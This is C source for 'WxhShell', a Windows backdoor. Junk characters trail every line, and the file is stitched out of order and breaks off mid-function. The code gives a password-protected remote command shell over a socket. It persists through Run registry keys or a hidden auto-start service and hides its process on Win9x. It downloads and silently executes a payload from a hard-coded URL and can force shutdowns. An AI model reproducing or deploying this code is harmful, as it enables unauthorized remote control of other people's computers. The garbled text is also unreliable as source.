    if(Boot(SHUTDOWN)) e.XD5~Ax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,VUOsNN4\  
    else { KIWHn_ :  
    closesocket(wsh); -*ZQ=nomN  
    ExitThread(0); xdaq` ^Bbt  
    } E&L ml?@  
    break; {9j0k`A  
    } x5;D'Y t"|  
  // 获取shell yzL9Ic  
  case 's': { t@+e#3P!  
    CmdShell(wsh); M _cm,|FF  
    closesocket(wsh); 4@mJEi{  
    ExitThread(0); Q.V@Sawe5  
    break; nG?Z* n  
  } ? IlT[yMw  
  // 退出 h. 4#C}> )  
  case 'x': { K*1]P ar;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0HbCT3g.  
    CloseIt(wsh); --c)!Vxzx  
    break; LL+_zBP.   
    } J_|%8N{[x  
  // 离开 };Df ><  
  case 'q': { 7`)RB hGB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Zfh5AM  
    closesocket(wsh); |\| v%`r2  
    WSACleanup(); R{aqn0M  
    exit(1); 0A8G8^T  
    break; $DnJ/hg;qD  
        } e85E+S%  
  } MAX?,- x  
  } KZ65# UVX  
/1.Z=@7  
  // 提示信息 TC=>De2;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )/OIzbA3#  
} [{& OcEf  
  } >>y\idg&:  
]z=dRq  
  return; N6S@e\*  
} d]sg9`  
^)|tf\4  
// shell模块句柄 GH3RRzp r  
int CmdShell(SOCKET sock) Y[rCF=ZVH  
{  zNn  
STARTUPINFO si; [L|vBr  
ZeroMemory(&si,sizeof(si)); XC}2GHO<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !kh:zTP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <9$Pl%:  
PROCESS_INFORMATION ProcessInfo; + I*a=qjq  
char cmdline[]="cmd"; u'T>Y1I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8W7ET@`  
  return 0; YETGq-  
} W!=ur,F+  
UQ)^`Zj  
// 自身启动模式 am| 81)|a  
int StartFromService(void) 8QI+O`  
{ dV*9bDkM/  
typedef struct ]a*26AbU+  
{ hX-^h2eV  
  DWORD ExitStatus; rCA0c8  
  DWORD PebBaseAddress; ICG:4n(,  
  DWORD AffinityMask; W~l.feW$i  
  DWORD BasePriority; #0^a-47PA<  
  ULONG UniqueProcessId; m>!o Yy_  
  ULONG InheritedFromUniqueProcessId; :r:x|[3.  
}   PROCESS_BASIC_INFORMATION; C&EA@U5X^  
AnZy o a  
PROCNTQSIP NtQueryInformationProcess; `J7@G]X;2  
KO[T&#y'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tv]9n8v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =*6H!bzX  
9Nz}'a;?>  
  HANDLE             hProcess; 8`I,KkWg   
  PROCESS_BASIC_INFORMATION pbi; R-4#y%k<  
.H&XP W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sYk#XNH  
  if(NULL == hInst ) return 0; !9V; 8g  
VPVg \K{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7kMO);pO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2@N-#x '  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dj0D.}`~  
oXVx9dZ  
  if (!NtQueryInformationProcess) return 0; i"4;{C{s  
s4=EyBI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =#{q#COK$  
  if(!hProcess) return 0; :#N]s  
T/hz23nH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #.,LWL]  
$L]M3$\9  
  CloseHandle(hProcess); &v:[+zw  
%qVD-Jln  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z\WyL;  
if(hProcess==NULL) return 0; ?+{_x^  
1k$5'^]^9]  
HMODULE hMod; {817Svp@  
char procName[255]; DW)81*~g  
unsigned long cbNeeded; 9R[P pE''  
yRp&pUtb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3A! |M5  
xxC2 h3  
  CloseHandle(hProcess); p@@*F+  
\34:]NM  
if(strstr(procName,"services")) return 1; // 以服务启动 (7??5gjh  
sv6m)pwh  
  return 0; // 注册表启动 LGYg@DR  
} cCG!X%9  
B,ao%3t  
// 主模块 6_;n bqY&  
int StartWxhshell(LPSTR lpCmdLine) [mG!-.ll  
{ :"K9(XKKU  
  SOCKET wsl; 2frwU~y  
BOOL val=TRUE; Ju"c!vu~  
  int port=0; |NWHZo  
  struct sockaddr_in door; Nr*o RYY  
V'K:52  
  if(wscfg.ws_autoins) Install(); +Je%8jH  
`j 4>  
port=atoi(lpCmdLine); 'XOWSx;Y  
.W\x{h  
if(port<=0) port=wscfg.ws_port; PM)nw;nS  
gBXoEn]  
  WSADATA data; {!1RlW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e=[@HVr   
hN\Q&F!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xo!2 GPD.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y7')~C`up^  
  door.sin_family = AF_INET; wf^p?=Ke  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 12tAx3p  
  door.sin_port = htons(port); IGA4"\s  
n3\~H9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q{xF7}i  
closesocket(wsl); r( bA>L*mk  
return 1; }Am5b@g"$Y  
} 'sa>G  
c? Mbyay  
  if(listen(wsl,2) == INVALID_SOCKET) { +u`4@~D#  
closesocket(wsl); o"p['m*g  
return 1; nIfp0U*  
} Jpn= ^f[rm  
  Wxhshell(wsl); 8RcLs1n/  
  WSACleanup(); L=I;0Ip9y  
2~yj =D27Z  
return 0; P<LmCY m  
CFu^i|7o  
} $qR@;=  
sH%Ts@Pl  
// 以NT服务方式启动 wZ_"@j<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) onIZ&wrk  
{ 8\+DSA  
DWORD   status = 0; `~N jBtQ  
  DWORD   specificError = 0xfffffff; G#1W":|`  
vPrlRG6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D8WKy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p& Kfy~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C4 -y%W"P  
  serviceStatus.dwWin32ExitCode     = 0; `yC[Fn"E^  
  serviceStatus.dwServiceSpecificExitCode = 0; HNLr} Yj  
  serviceStatus.dwCheckPoint       = 0; ~1nKL0C6u  
  serviceStatus.dwWaitHint       = 0; FyNm1QNy^  
D&OskM60  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ({cWb:+r  
  if (hServiceStatusHandle==0) return; blkPsp)m"  
)OK"H^}f  
status = GetLastError(); 3XDuo|(  
  if (status!=NO_ERROR) 1aPFpo!  
{ '#jZ`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Yz CK*av1  
    serviceStatus.dwCheckPoint       = 0; Rt@O@oDI  
    serviceStatus.dwWaitHint       = 0; ` ^;J<l  
    serviceStatus.dwWin32ExitCode     = status; I]WvcDJ}C  
    serviceStatus.dwServiceSpecificExitCode = specificError; 27}0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XI,=W  
    return; CQ7NQ^3k  
  } 6lUC$B Y  
6;(b-Dhi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B) dG:~  
  serviceStatus.dwCheckPoint       = 0; b)r;a5"<5  
  serviceStatus.dwWaitHint       = 0; _\{/#J;lN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U6YHq2<  
} 7W>(T8K X\  
^4et; F%  
// 处理NT服务事件,比如:启动、停止 q(v|@l|)yO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {e0(M*u  
{ .eyJ<b9  
switch(fdwControl)  %\~U>3Q  
{ E H|L1g  
case SERVICE_CONTROL_STOP: >'jkL5l  
  serviceStatus.dwWin32ExitCode = 0; [p]UM;+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  SWyJ`  
  serviceStatus.dwCheckPoint   = 0; SH O&:2  
  serviceStatus.dwWaitHint     = 0; ~(:0&w%e  
  { ,R=$ qi|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~g;)8X;;+  
  } 1-Dw-./N  
  return; 3\cx(  
case SERVICE_CONTROL_PAUSE: CZ =]0zB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T # gx2Y  
  break; &kT!GU^n  
case SERVICE_CONTROL_CONTINUE: $9u:Ox 2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }ktK*4<k  
  break; 3ug~m-_  
case SERVICE_CONTROL_INTERROGATE: _nSEp >]L  
  break; >~tx8aI{  
}; n'%cO]nSx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dV-6l6  
} T&}KUX~Q/  
b~(S;1NS'  
// 标准应用程序主函数 5Fbb5`(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kYR ^  
{ *^CN2tm  
pimI)1 !$'  
// 获取操作系统版本 MPF({Pnx7  
OsIsNt=GetOsVer(); x6^FpNgQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9#kk5)J  
O'QnfpQ*9  
  // 从命令行安装 12: Q`   
  if(strpbrk(lpCmdLine,"iI")) Install(); XEN-V-Z%*  
y. (m#&T  
  // 下载执行文件 *:`fgaIDa  
if(wscfg.ws_downexe) { Nnoj6+b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -OnKvpeI  
  WinExec(wscfg.ws_filenam,SW_HIDE); wNUcL*n  
} d@zxgn7o  
Yu9VtC1  
if(!OsIsNt) { XinKG< 3!  
// 如果时win9x,隐藏进程并且设置为注册表启动 $4og{  
HideProc(); ^s$U n6v[  
StartWxhshell(lpCmdLine); ==trl#kQ%%  
} Cu<' b'%;  
else }G!'SZ$F 5  
  if(StartFromService()) 'z@]hm#  
  // 以服务方式启动 -lXQQ#V -  
  StartServiceCtrlDispatcher(DispatchTable); <vu~EY0.  
else jHObWUX  
  // 普通方式启动 B[2t.d;h  
  StartWxhshell(lpCmdLine); N x^JC_  
E,ooD3$h  
return 0; i+lq:St  
} G;U SVF-'K  
0T 0I<t  
K1-RJj\L  
i~*6JB|  
=========================================== ,mz7!c9H^a  
"hZ `^ "0b  
9NZq k  
$_e{Zv[  
]/AU_&  
kV3LFPf>0  
" jaMpi^C  
m~&>+q ^7  
#include <stdio.h> ` M-  
#include <string.h> M. _5mZ{  
#include <windows.h> llCE}Vdh  
#include <winsock2.h> (&, E}{p9  
#include <winsvc.h> x}x)h3e  
#include <urlmon.h> )*7{%Ilq  
4`7~~:W!M5  
#pragma comment (lib, "Ws2_32.lib") #G\-ftA&  
#pragma comment (lib, "urlmon.lib") Ki%)LQAg  
D%=&euB  
#define MAX_USER   100 // 最大客户端连接数 T8x/&g''  
#define BUF_SOCK   200 // sock buffer 0rif,{"  
#define KEY_BUFF   255 // 输入 buffer |C,]-mJG  
%O{FZgi%wA  
#define REBOOT     0   // 重启 uVXn/B  
#define SHUTDOWN   1   // 关机 vY[ u;VU  
%f(4jQ0I  
#define DEF_PORT   5000 // 监听端口 _ -,[U{  
e$mVA}>Ybp  
#define REG_LEN     16   // 注册表键长度 5bol)Z9BO  
#define SVC_LEN     80   // NT服务名长度 =w:H9uj6F  
t*Z-]P  
// 从dll定义API ?wjk=hM2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0\eSiXs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cq-99@&;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eok8+7g0&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =CL,+  
psS^  
// wxhshell配置信息 $-E<{   
struct WSCFG { "'>fTk_  
  int ws_port;         // 监听端口 ]*0t?'go'  
  char ws_passstr[REG_LEN]; // 口令 !u`f?=s;  
  int ws_autoins;       // 安装标记, 1=yes 0=no r 2{7h>  
  char ws_regname[REG_LEN]; // 注册表键名 @#9xSs#  
  char ws_svcname[REG_LEN]; // 服务名 tao9icl*`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :MH=6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z,VXH ?.Zo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 64:p 4N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sr~VvciIy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `2xt%kC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z3w;W{2Q;V  
;]rj Kc=  
}; c|4_nT 2  
Q0xQx z  
// default Wxhshell configuration Z(J 1A x  
struct WSCFG wscfg={DEF_PORT, 8"u.GL.  
    "xuhuanlingzhe", ?w)A`G_  
    1, i_I`  
    "Wxhshell", ]!@!qp@  
    "Wxhshell", J.0&gP V  
            "WxhShell Service", TJ,?C$3  
    "Wrsky Windows CmdShell Service", F[fs^Q6S$  
    "Please Input Your Password: ", 6\)u\m`7-l  
  1, LD,T$"  
  "http://www.wrsky.com/wxhshell.exe", E,4*a5Fi  
  "Wxhshell.exe" O /h1ew  
    }; >PGsY[N  
YT@H^=  
// 消息定义模块 rPHM_fW(O@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -3XnUGK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pfm B{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (c[DQSj  
char *msg_ws_ext="\n\rExit."; rhN"#?  
char *msg_ws_end="\n\rQuit."; / ]nrxT  
char *msg_ws_boot="\n\rReboot..."; ?X7nM)  
char *msg_ws_poff="\n\rShutdown..."; >.REg[P  
char *msg_ws_down="\n\rSave to "; zEeix,IU  
zK*i:(>B  
char *msg_ws_err="\n\rErr!"; MOIVt) ZY  
char *msg_ws_ok="\n\rOK!"; "&mwrjn"T  
 mNX0BZ  
char ExeFile[MAX_PATH]; ==bT0-M.~  
int nUser = 0; E7]a#  
HANDLE handles[MAX_USER]; G2J4N2hu  
int OsIsNt; eBe5H =I@  
K%/g!t)  
SERVICE_STATUS       serviceStatus; }5?|iUH|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h:vI:V[/X  
`1R[J4e  
// 函数声明 j9= )^?  
int Install(void); S's I[?\x  
int Uninstall(void); "3?:,$*  
int DownloadFile(char *sURL, SOCKET wsh); oMN Qv%U  
int Boot(int flag); X-%91z:o58  
void HideProc(void); e4 cWi  
int GetOsVer(void); BagV\\#v4  
int Wxhshell(SOCKET wsl); AE%zqvp>  
void TalkWithClient(void *cs); qp]s VY  
int CmdShell(SOCKET sock); @h7 i;Ok  
int StartFromService(void); Km0P)Z  
int StartWxhshell(LPSTR lpCmdLine); A@w9_qo  
+#g4Crb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B5va4@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !(N,tZ  
jL~. =QD  
// 数据结构和表定义 w{Y:p[}  
SERVICE_TABLE_ENTRY DispatchTable[] = 0&2&F=fOa<  
{ x4@IK|CE  
{wscfg.ws_svcname, NTServiceMain}, Qexv_:C  
{NULL, NULL} `I5So-^&z  
}; b"~Ct}6f  
DQ_ pLXCC  
// 自我安装 d^XRkB:h  
int Install(void) )`m/vYKWL  
{ qTnk>g_oS&  
  char svExeFile[MAX_PATH]; K.6xNQl{}  
  HKEY key; O,7*dniH  
  strcpy(svExeFile,ExeFile); R6G%_,p$7  
luO4ap]*  
// 如果是win9x系统,修改注册表设为自启动 /I q6'oo  
if(!OsIsNt) { g U v`G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HQ3kxOT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *lp{,  
  RegCloseKey(key); PvS\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qg8T}y>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {+|Em(M  
  RegCloseKey(key); `~ R%}ID  
  return 0; M{U7yE6*j*  
    } M Y>o8A  
  } u-~?ylh  
} J<7nOB}OD  
else {  xXZ {  
 /w(t=Y  
// 如果是NT以上系统,安装为系统服务 Jgf= yri  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gz"I=9  
if (schSCManager!=0) JA^Y:@<{/  
{ 4B@L<Rl{\  
  SC_HANDLE schService = CreateService },tn  
  ( [Ma d~;  
  schSCManager, 3 e<sNU?  
  wscfg.ws_svcname, ZCCwx71j  
  wscfg.ws_svcdisp, {@<EVw  
  SERVICE_ALL_ACCESS, bA3pDt).p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gA:N>w&<X  
  SERVICE_AUTO_START, Twr<MXa  
  SERVICE_ERROR_NORMAL, ~,P."  
  svExeFile, #5W-*?H  
  NULL, ik|iAWy  
  NULL, Klk[ h  
  NULL, E.OL_\  
  NULL, n/-d56  
  NULL KdkZ-.  
  ); )I9Wa*I  
  if (schService!=0) x-ShY&k  
  { s4Z5t$0|  
  CloseServiceHandle(schService); 9\W }p\c  
  CloseServiceHandle(schSCManager); a$'= a09  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wq]Lb:&{a  
  strcat(svExeFile,wscfg.ws_svcname); -OV!56&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hKYA5]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JGKiVBN  
  RegCloseKey(key); MzO4Yv"A  
  return 0; Ue)8g#  
    } Z3 $3zyi  
  } - +=+W  
  CloseServiceHandle(schSCManager); K~Hp%.  
} @-Js)zcl q  
} m>@ *-*8k  
O&u[^s/^  
return 1; a).bk!G  
} O(oGRK<xM  
QC*> qo  
// 自我卸载 `?R~iLIAq  
int Uninstall(void) .ahYj n  
{ ;.P9t`*  
  HKEY key; ]za1=~[  
AT4G]pT  
if(!OsIsNt) { K\]ey;Bd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6?v)Hb}J%d  
  RegDeleteValue(key,wscfg.ws_regname); s'|^6/  
  RegCloseKey(key); AHre#$`97  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L0O},O  
  RegDeleteValue(key,wscfg.ws_regname); 7 -hSso.'  
  RegCloseKey(key); h tn?iLq  
  return 0; _PeBV<  
  } %}asw/WiUa  
} {qHf%y&[  
} &jHnM^nQ  
else { F&om^G'U  
Jr4^@]78o<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p%v+\T2r  
if (schSCManager!=0) Rv T>{G~  
{ (PmaVwF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "e\:Cq>\  
  if (schService!=0) /HmD/E\  
  { FF"`F8-w>Z  
  if(DeleteService(schService)!=0) { Z ^tF  
  CloseServiceHandle(schService); } 1 >i  
  CloseServiceHandle(schSCManager); W\?_o@d  
  return 0; ]"< ` ^  
  } \Q+<G-Kb.  
  CloseServiceHandle(schService); Gmi$Nl!~  
  } kU5chltGF  
  CloseServiceHandle(schSCManager); <ZV !fn  
} :3# t;  
} ;-1yG@KG  
,nELWzz%{  
return 1; nRmZu\(Ow|  
} Dog Tj  
6R+m;'  
// 从指定url下载文件 $(ugnnJ*  
int DownloadFile(char *sURL, SOCKET wsh) Jn_;  cN  
{ *hp3w  
  HRESULT hr; W:^\Oe5&a  
char seps[]= "/"; %usy`4 2  
char *token; a0oM KGW:  
char *file; 'K=n}}&:  
char myURL[MAX_PATH]; \)?[1b&[_  
char myFILE[MAX_PATH]; \?_eQKiZ3  
K 5SHt'P  
strcpy(myURL,sURL); d&x1uso%L  
  token=strtok(myURL,seps); 5};Nv{km^2  
  while(token!=NULL) )kSE5|:pi  
  { b=!G3wVw<  
    file=token; mV0.9pxS  
  token=strtok(NULL,seps); 8Ilg[Drj*  
  } iv*Ft.1t  
sILkTzs w  
GetCurrentDirectory(MAX_PATH,myFILE); S/? KC^JP  
strcat(myFILE, "\\"); 2V0gj /&  
strcat(myFILE, file); 4|*H0}HOm  
  send(wsh,myFILE,strlen(myFILE),0); MH+t`/E0]  
send(wsh,"...",3,0); '{:WxGgi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :6 ?&L  
  if(hr==S_OK) u~,@Zg87  
return 0; 5__8+R  
else <B*}W2\  
return 1; at@B>Rb  
1YmB2h[Z  
} 0^Vc,\P?  
rkdwGqG  
// 系统电源模块 LO,G2]  
int Boot(int flag) LB|FVNW/S  
{ p-H q\DP  
  HANDLE hToken; 0i2ZgOJ  
  TOKEN_PRIVILEGES tkp; DbdxHuKa>  
!YlyUHD  
  if(OsIsNt) { jj,Y:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FfnW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 821@qr|`e  
    tkp.PrivilegeCount = 1; mJaWzR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7dXR/i\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y5L%_ {n  
if(flag==REBOOT) { ?3wEO>u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) URq{#,~CT  
  return 0; HY.?? 5MH  
} ]~:9b[G2  
else { HF9d~7R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0^VA,QkQ\  
  return 0; Nb2]}; O  
} 8}FZ1h2 4  
  } ^[{\ZX  
  else { /`YHPeXu  
if(flag==REBOOT) { -z]v"gF?Px  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o7N3:)  
  return 0; J;pn5k~3  
} K4Mv\!Q<8  
else { d7+YCi?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  }xcEWC\  
  return 0; E"D+CD0  
} :zk69P3  
} H]5%"(h  
Y4]USU!PA  
return 1; wXv\[z L`  
} Hn%n>Bnl  
iX8& mUR  
// win9x进程隐藏模块 ,}i`1E1=  
void HideProc(void) Z }(,OZh  
{ Z!Njfq5  
-AUdBG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {O-,JCq/  
  if ( hKernel != NULL ) KS($S( Fi  
  { c0v;r4Jo#j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jrp{e("9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oR'8|~U@B  
    FreeLibrary(hKernel); Qo>V N`v  
  } +;7Rz_.6f  
4-@D`,3L  
return; Z `FqC  
} m&xyw9a  
Ti`H?9t  
// 获取操作系统版本 @G  0k+  
int GetOsVer(void) RI_:~^nO{r  
{ |EuWzhNAO  
  OSVERSIONINFO winfo; Ur`Ri?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ob=GB71j55  
  GetVersionEx(&winfo); f!;4 -.p`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *Z"9QX  
  return 1; W-9^Ncp  
  else 0;,4.hsh  
  return 0; ZOGH.`  
} [m7^Euury  
8<}f:9/  
// 客户端句柄模块 |7Z7_YWs  
int Wxhshell(SOCKET wsl) @[M5$,"  
{ &]gw[ `  
  SOCKET wsh; Sr1xG%;|/  
  struct sockaddr_in client; (;2J}XQvO~  
  DWORD myID; {64od0:T  
/an$4?":~  
  while(nUser<MAX_USER) 2 fp\s5%J}  
{ WyH2` xxX  
  int nSize=sizeof(client); $Yh7N5XH,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OHixOI$O  
  if(wsh==INVALID_SOCKET) return 1; ,>X +tEgR  
y>T:fu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j8*fa  
if(handles[nUser]==0) /P bN!r<1  
  closesocket(wsh); {7!WtH;-  
else )En*5-1  
  nUser++; h~rSM#7m  
  } _w8iPL5:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s^Lg*t 3I  
#Aox$[|@  
  return 0; 6T>e~<^  
} f8um.Xnp6  
PzThVeJ+  
// 关闭 socket )h-Qi#{  
void CloseIt(SOCKET wsh) N:Yjz^Jt  
{ {e4`D1B  
closesocket(wsh); :4]^PB@dl  
nUser--; 8 ;oU{  
ExitThread(0); %dMq'j  
} 0q`n]NM  
.du FMJl  
// 客户端请求句柄 5}FPqyK"  
void TalkWithClient(void *cs) /7Z;/|oU  
{ J8[N!qDCj  
)0Av:eF-+  
  SOCKET wsh=(SOCKET)cs; ^mbpt`@  
  char pwd[SVC_LEN]; JAM4 R_  
  char cmd[KEY_BUFF]; C FY3D|  
char chr[1]; m'&^\7;D  
int i,j; {?c `0C  
&Pu}"M$[MH  
  while (nUser < MAX_USER) { 1:S75~b-`  
QGE)Xn#_bN  
if(wscfg.ws_passstr) { <4Z;a2l}U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5!Y51R^c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(Y4nw+Y-  
  //ZeroMemory(pwd,KEY_BUFF); |V#h "s  
      i=0; Yhu 6QyRV  
  while(i<SVC_LEN) { 9l9h*P gt  
bd],fNgJ  
  // 设置超时 dZ'hTzw~  
  fd_set FdRead; |` gSkv  
  struct timeval TimeOut; ni$7)YcF  
  FD_ZERO(&FdRead); `4E6&&E+S  
  FD_SET(wsh,&FdRead); vCE1R]^A.]  
  TimeOut.tv_sec=8; ,gHgb  
  TimeOut.tv_usec=0; Tdvw7I-q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `[vm{+i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  w.kb/  
Y Gb&mD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H2oAek(  
  pwd=chr[0]; |pB[g> ~V  
  if(chr[0]==0xd || chr[0]==0xa) { NWCJ|  
  pwd=0; Wt2+D{@8  
  break; ]DcQ8D  
  } ao>`[-  
  i++; i}mvKV?!|1  
    } (~t/8!7N  
^|KX)g  
  // 如果是非法用户,关闭 socket Y'6GY*dL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /8 /2#`3R  
} ptXCM[Z+  
%G!BbXlz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /lBx}o'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > D:( HWL  
#SiOx/  
while(1) { B=K& +  
FbRq h|  
  ZeroMemory(cmd,KEY_BUFF);  ?Y4$  
 w+<`>  
      // 自动支持客户端 telnet标准   {%!.aQ,  
  j=0; nY7 ZK  
  while(j<KEY_BUFF) { !o A,^4(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7I>@PV N  
  cmd[j]=chr[0]; C^vB&3ghi  
  if(chr[0]==0xa || chr[0]==0xd) { fba QXM  
  cmd[j]=0; v{7Jzjd  
  break; 6BT o%  
  } ;Js-27_0  
  j++; fg1_D  
    } rap`[O|l=  
8t3,}}TJ  
  // 下载文件 "0al"?  
  if(strstr(cmd,"http://")) { G[7Z5)2B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y#-mj,e  
  if(DownloadFile(cmd,wsh)) OmO/x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Yg=4>#$  
  else 3=( Gb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (gd+-o4  
  } 6J3:[7k=&  
  else { ]=T`8)_r)  
k.b->U  
